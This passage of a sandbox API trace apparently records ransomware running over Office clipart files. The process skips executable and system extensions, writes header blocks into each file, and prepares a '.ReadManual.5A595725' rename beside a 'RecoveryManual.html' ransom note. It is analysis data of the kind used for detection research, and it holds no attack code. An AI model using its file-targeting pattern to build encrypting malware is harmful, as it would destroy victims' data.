psz2="dll") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.667] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.668] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.668] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.668] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" [0266.668] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.ReadManual.5A595725" [0266.668] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF.ReadManual.5A595725") returned 87 [0266.668] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38733645489) returned 1 [0266.668] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf")) returned 0x20 [0266.668] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107364.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107364.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.668] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=16588) returned 1 [0266.668] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x40cc, lpName=0x0) returned 0x184 [0266.668] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.669] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.669] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.671] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.671] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x40cc) returned 0x2f0000 [0266.672] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.672] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38734056049) returned 1 [0266.672] CloseHandle (hObject=0x184) returned 1 [0266.672] SetSecurityInfo () returned 0x57 [0266.672] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.672] CloseHandle (hObject=0x194) returned 1 [0266.672] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x2ce4, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107426.WMF", cAlternateFileName="")) returned 1 [0266.672] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107426.WMF" | out: lpString1="J0107426.WMF") returned="J0107426.WMF" [0266.672] lstrcmpiW (lpString1="J0107426.WMF", lpString2="RecoveryManual.html") returned -1 [0266.672] StrStrIW (lpFirst="J0107426.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.672] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.672] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.672] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.672] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.672] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.673] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.673] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" [0266.673] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.ReadManual.5A595725" [0266.673] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF.ReadManual.5A595725") returned 87 [0266.673] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38734168747) returned 1 [0266.673] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf")) returned 0x20 [0266.673] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107426.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107426.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.673] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=11492) returned 1 [0266.673] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x2ce4, lpName=0x0) returned 0x184 [0266.674] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.674] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.674] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.676] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.676] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x2ce4) returned 0x2f0000 [0266.676] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.676] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38734524042) returned 1 [0266.677] CloseHandle (hObject=0x184) returned 1 [0266.677] SetSecurityInfo () returned 0x57 [0266.677] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.677] CloseHandle (hObject=0x194) returned 1 [0266.677] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x7680, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107446.WMF", cAlternateFileName="")) returned 1 [0266.677] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107446.WMF" | out: lpString1="J0107446.WMF") returned="J0107446.WMF" [0266.677] lstrcmpiW (lpString1="J0107446.WMF", lpString2="RecoveryManual.html") returned -1 [0266.677] StrStrIW (lpFirst="J0107446.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.677] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.677] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.677] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" [0266.677] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.ReadManual.5A595725" [0266.677] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF.ReadManual.5A595725") returned 87 [0266.677] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38734742240) returned 1 [0266.679] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf")) returned 0x20 [0266.679] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107446.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107446.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.679] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=30336) returned 1 [0266.679] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x7680, lpName=0x0) returned 0x184 [0266.679] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.680] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.680] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.682] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.682] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x7680) returned 0x2f0000 [0266.682] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.683] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38735148374) returned 1 [0266.683] CloseHandle (hObject=0x184) returned 1 [0266.683] SetSecurityInfo () returned 0x57 [0266.683] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.683] CloseHandle (hObject=0x194) returned 1 [0266.683] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x563ba0b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x1338, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107450.WMF", cAlternateFileName="")) returned 1 [0266.683] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107450.WMF" | out: lpString1="J0107450.WMF") returned="J0107450.WMF" [0266.683] lstrcmpiW (lpString1="J0107450.WMF", lpString2="RecoveryManual.html") returned -1 [0266.683] StrStrIW (lpFirst="J0107450.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.683] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.683] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.684] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.684] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.684] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" [0266.684] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.ReadManual.5A595725" [0266.684] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF.ReadManual.5A595725") returned 87 [0266.684] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38735245116) returned 1 [0266.684] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf")) returned 0x20 [0266.685] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107450.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107450.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.685] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=4920) returned 1 [0266.685] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x1338, lpName=0x0) returned 0x184 [0266.685] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.686] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.686] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.687] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.687] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x1338) returned 0x2f0000 [0266.688] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.688] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38735660690) returned 1 [0266.688] CloseHandle (hObject=0x184) returned 1 [0266.688] SetSecurityInfo () returned 0x57 [0266.688] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.688] CloseHandle (hObject=0x194) returned 1 [0266.688] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0x52e0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107452.WMF", cAlternateFileName="")) returned 1 [0266.688] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107452.WMF" | out: lpString1="J0107452.WMF") returned="J0107452.WMF" [0266.688] lstrcmpiW (lpString1="J0107452.WMF", lpString2="RecoveryManual.html") returned -1 [0266.688] StrStrIW (lpFirst="J0107452.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.688] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.688] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.688] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.688] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.688] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.688] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.688] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.689] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.689] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" [0266.689] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.ReadManual.5A595725" [0266.689] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF.ReadManual.5A595725") returned 87 [0266.689] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: lpPerformanceCount=0x434fd88*=38735763054) returned 1 [0266.689] GetFileAttributesW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf")) returned 0x20 [0266.690] CreateFileW (lpFileName="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107452.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0107452.wmf"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x194 [0266.690] GetFileSizeEx (in: hFile=0x194, lpFileSize=0x434fda0 | out: lpFileSize=0x434fda0*=21216) returned 1 [0266.690] CreateFileMappingW (hFile=0x194, lpFileMappingAttributes=0x0, flProtect=0x4, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x52e0, lpName=0x0) returned 0x184 [0266.690] SetFileInformationByHandle (hFile=0x194, FileInformationClass=0x3, lpFileInformation=0x68b874, dwBufferSize=0xbe) returned 1 [0266.691] SetFilePointerEx (in: hFile=0x194, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0266.691] WriteFile (in: hFile=0x194, lpBuffer=0x434fc88*, nNumberOfBytesToWrite=0x20, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x434fc88*, lpNumberOfBytesWritten=0x434fc84*=0x20, lpOverlapped=0x0) returned 1 [0266.692] WriteFile (in: hFile=0x194, lpBuffer=0x2ed540*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x434fc84, lpOverlapped=0x0 | out: lpBuffer=0x2ed540*, lpNumberOfBytesWritten=0x434fc84*=0x100, lpOverlapped=0x0) returned 1 [0266.693] MapViewOfFile (hFileMappingObject=0x184, dwDesiredAccess=0x6, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0x52e0) returned 0x2f0000 [0266.693] UnmapViewOfFile (lpBaseAddress=0x2f0000) returned 1 [0266.693] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd90 | out: lpPerformanceCount=0x434fd90*=38736183922) returned 1 [0266.693] CloseHandle (hObject=0x184) returned 1 [0266.693] SetSecurityInfo () returned 0x57 [0266.693] LocalFree (hMem=0x76c1a55b) returned 0x76c1a55b [0266.693] CloseHandle (hObject=0x194) returned 1 [0266.693] FindNextFileW (in: hFindFile=0x6bff00, lpFindFileData=0x6bb89c | out: lpFindFileData=0x6bb89c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7502c600, ftCreationTime.dwHighDateTime=0x1c7a765, ftLastAccessTime.dwLowDateTime=0x65eb5050, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7502c600, ftLastWriteTime.dwHighDateTime=0x1c7a765, nFileSizeHigh=0x0, nFileSizeLow=0xe8c, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="J0107456.WMF", cAlternateFileName="")) returned 1 [0266.693] lstrcpyW (in: lpString1=0x6ab90a, lpString2="J0107456.WMF" | out: lpString1="J0107456.WMF") returned="J0107456.WMF" [0266.693] lstrcmpiW (lpString1="J0107456.WMF", lpString2="RecoveryManual.html") returned -1 [0266.693] StrStrIW (lpFirst="J0107456.WMF", lpSrch=".ReadManual.5A595725") returned 0x0 [0266.694] StrCmpIW (psz1="WMF", psz2="exe") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="dll") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="sys") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="msi") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="mui") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="inf") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="cat") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="bat") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="cmd") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="ps1") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="vbs") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="ttf") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="fon") returned 1 [0266.694] StrCmpIW (psz1="WMF", psz2="lnk") returned 1 [0266.694] lstrcpyW (in: lpString1=0x68b880, lpString2="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF" [0266.694] lstrcatW (in: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF", lpString2=".ReadManual.5A595725" | out: lpString1="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.ReadManual.5A595725") returned="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.ReadManual.5A595725" [0266.694] lstrlenW (lpString="\\\\?\\c:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0107456.WMF.ReadManual.5A595725") returned 87 [0266.694] QueryPerformanceCounter (in: lpPerformanceCount=0x434fd88 | out: 